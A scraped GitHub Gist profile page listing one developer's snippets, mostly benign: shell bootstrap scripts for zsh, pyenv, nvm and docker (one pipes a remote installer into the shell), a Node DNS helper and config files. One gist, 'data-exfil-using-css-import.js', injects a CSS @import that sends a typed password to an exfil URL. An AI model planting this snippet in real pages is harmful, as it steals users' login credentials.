Skip to content

Instantly share code, notes, and snippets.

View Den1al's full-sized avatar
🎯
Focusing

Den1al Den1al

🎯
Focusing
View GitHub Profile
@Den1al
Den1al / nodejs-async-dns-lookup.js
Created April 20, 2019 11:20
converting the old callback based DNS lookup in NodeJS to modern Async function
import { lookup } from 'dns';
export default async function(name) {
return new Promise((resolve, reject) => {
lookup(name, (err, ips) => {
if (err) {
reject(err);
} else {
resolve(ips);
}
@Den1al
Den1al / zsh-bootstrap.sh
Last active July 25, 2019 08:37
ZSH Bootstrap Script
# general
sudo apt-get update
sudo apt-get upgrade -y
# zshrc
sudo apt install -y zsh
sudo apt-get install -y powerline fonts-powerline
git clone https://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
sudo chsh -s /bin/zsh ubuntu
@Den1al
Den1al / pyenv-bootstrap.sh
Last active July 29, 2019 08:54
Pyenv Bootstrap
# pyenv
sudo apt-get install -y --no-install-recommends make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev
git clone https://github.com/pyenv/pyenv.git ~/.pyenv
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
echo -e 'if command -v pyenv 1>/dev/null 2>&1; then\n eval "$(pyenv init -)"\nfi' >> ~/.zshrc
source ~/.zshrc
pyenv install 3.7.4
pyenv global 3.7.4
@Den1al
Den1al / nvm-bootstrap.sh
Last active June 8, 2019 14:28
NVM Bootstrap
# nvm
curl https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | zsh
source ~/.zshrc
nvm install v10.16.0
@Den1al
Den1al / generate-phone-numbers.py
Created June 16, 2019 18:38
Generate Israeli Phone Numbers
from itertools import product
from string import digits
prefixes = ["050",
"051",
"052",
"053",
"054",
"055",
"056",
@Den1al
Den1al / docker-bootstrap.sh
Last active July 29, 2019 09:00
Bootstrap the docker & docker-compose installation
# docker
sudo apt-get update
sudo apt-get install -y \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
@Den1al
Den1al / ts-node-vscode-launch.json
Created February 9, 2020 10:26
ts-node VSCode Debugging File
{
"version": "0.2.0",
"configurations": [
{
"name": "Current TS File",
"type": "node",
"request": "launch",
"args": ["${relativeFile}"],
"runtimeArgs": ["-r", "ts-node/register"],
"cwd": "${workspaceRoot}",
@Den1al
Den1al / save-from-console.js
Created June 9, 2020 14:08
Save objects from the console locally
(function(console){
console.save = function(data, filename){
if(!data) {
console.error('Console.save: No data')
return;
}
if(!filename) filename = 'console.json'
@Den1al
Den1al / data-exfil-using-css-import.js
Created July 16, 2020 07:47
Data Exfiltration using CSS Import Query
document
.querySelector(`input[type="password"]`)
.addEventListener("change", evt => {
let style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = `@import url("http://localhost:8080/exfil?a=${evt.target.value}")`;
document.getElementsByTagName('head')[0].appendChild(style);
})
@Den1al
Den1al / new-ts.js
Created September 9, 2020 11:41
New TypeScript Boilerplate Generator
// Author: Daniel Abeles
// Github: https://github.com/Den1al
const fs = require('fs');
const { exec } = require("child_process");
function normalizeSpaces(text) {
let numOfSpaces = text.split(/\n/)
.filter(Boolean)[0]
.search(/\S/);